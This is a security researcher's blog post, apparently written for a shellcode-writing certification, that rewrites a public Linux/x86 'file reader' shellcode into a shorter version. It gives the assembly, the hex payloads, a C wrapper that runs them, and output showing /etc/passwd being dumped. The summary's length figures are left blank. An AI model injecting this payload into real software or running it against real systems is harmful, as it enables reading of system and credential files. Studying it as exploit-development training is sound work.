Jakub Heba, Security Researcher @ AFINE

Research and Security of Web Applications, Assembly, Reverse Engineering. All kind of security related stuff.

View my GitHub

File Reader

Address of the original shellcode:

Original source code:

/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:
_start:
	xor	%eax, %eax
	xor	%ebx, %ebx
	xor	%ecx, %ecx
	xor	%edx, %edx
	jmp	two

one:
	pop	%ebx
	
	movb	$5, %al
	xor	%ecx, %ecx
	int	$0x80
	
	mov	%eax, %esi
	jmp	read

exit:
	movb	$1, %al
	xor	%ebx, %ebx
	int	$0x80

read:
	mov	%esi, %ebx
	movb	$3, %al
	sub	$1, %esp
	lea	(%esp), %ecx
	movb	$1, %dl
	int	$0x80

	xor	%ebx, %ebx
	cmp	%eax, %ebx
	je	exit

	movb	$4, %al
	movb	$1, %bl
	movb	$1, %dl
	int	$0x80
	
	add	$1, %esp
	jmp	read

two:
	call	one
	.string	"file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd

I will try to present my polymorphic shellcode in parts (and finally the whole) in order to explain in detail the changes and improvements I have made.


Clearing

Original code:

global _start			

section .text
_start:
  xor eax, eax
  xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	jmp two

Code after changes:

global _start			

section .text
_start:
	xor eax, eax
	jmp two

The EBX, ECX and EDX registers are empty when you enter the _start() function, so there is no need to clean them.


sys_open()

The "two" section remains unchanged and remains at the end of our code.

 two:
  call one

Original code:

 one:
	pop ebx
	mov al, 5
	xor ecx, ecx
	int 0x80
	mov esi, eax
	jmp read

Code after changes:

 one:
	pop ebx
	mov al, 5
	int 0x80
	mov esi, eax

When this part of the code is called, the ECX index is empty, so there is no need to clean it again. Due to the change in the order of the sections in the code - I moved the "exit" section directly after the "read" section - the "jmp read" instruction is no longer needed, as the "read" section code lines immediately follow the "one" section.


sys_read()

Original code:

 read:
	mov ebx, esi
	mov al, 3
	sub esp, 1
	lea ecx, [esp]
	mov dl, 1
	int 0x80

Code after changes:

 read:
	mov ebx, esi
	mov al, 3
	mov ecx, esp
	mov dl, 1
	int 0x80

I replaced two instructions - changing the ESP value, i.e. top of the stack (sub esp, 1) and pointing his pointer to ECX index (lea ecx, [esp]), to one instruction placing the top of the stack directly in the ECX register (mov ecx, esp ).


sys_write()

Original code:

	xor ebx, ebx
	cmp ebx, eax
	je exit
	mov al, 4
	mov byte bl, 1
	mov byte  dl, 1
	int 0x80
	add esp, 1
	jmp read

Code after changes:

  or al, al
	jz exit
	mov al, 4
	mov bl, dl
	int 0x80
	jmp read

This section has been completely rebuilt. At the beginning, instead of resetting the EBX register and then comparing it to EAX, and if the values are the same (both registers are zero), execute JMP to the "exit" section, EAX using the logical operator OR is compared to zero and if ZF flag is set, JMP to the "exit" section is executed. Then, due to the fact that the EDX register is already 1, instead of two separate instructions, one "mov ebx, edx" is enough to get the same effect. Finally, since we did not use the "sub esp, 1" statement in the sys_read() section, the "add esp, 1" statement is also unnecessary.


sys_exit()

Original code:

exit:
	inc eax
	mov byte al, 1
	xor ebx, ebx
	int 0x80

Code after changes:

exit:
	inc eax
	int 0x80

After the sys_write () system call, the EAX register contains zero, the MOV instruction is replaced by a simple "inc eax". In addition, cleaning the EBX registry is also unnecessary.


Full code after changes

; Filename: 	file-reader.nasm
; Author:  	Jakub Heba
; Purpose:	SLAE Course & Exam

global _start			

section .text
_start:
	xor eax, eax
	jmp two

one:
	pop ebx
	mov al, 5
	int 0x80
	mov esi, eax

read:
	mov ebx, esi
	mov al, 3
	mov ecx, esp
	mov dl, 1
	int 0x80
	or al, al
	jz exit
	mov al, 4
	mov bl, dl
	int 0x80
		
	jmp read

exit:
	inc eax
	int 0x80
	
two:
	call one

Compiling and Execution

$ ./compile.sh file-reader
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xc0\xeb\x20\x5b\xb0\x05\xcd\x80\x89\xc6\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x08\xc0\x74\x08\xb0\x04\x88\xd3\xcd\x80\xeb\xea\x40\xcd\x80\xe8\xdb\xff\xff\xff"

Shellcode.c wrapper file content (note the file name after shellcode):

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xeb\x20\x5b\xb0\x05\xcd\x80\x89\xc6\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x08\xc0\x74\x08\xb0\x04\x88\xd3\xcd\x80\xeb\xea\x40\xcd\x80\xe8\xdb\xff\xff\xff"
"/etc/passwd";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Execution:

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode

Shellcode Length:  52
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[..]

Summary

Original shellcode length:

Length of polymorphic shellcode:

Difference in length:

Pwned.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1524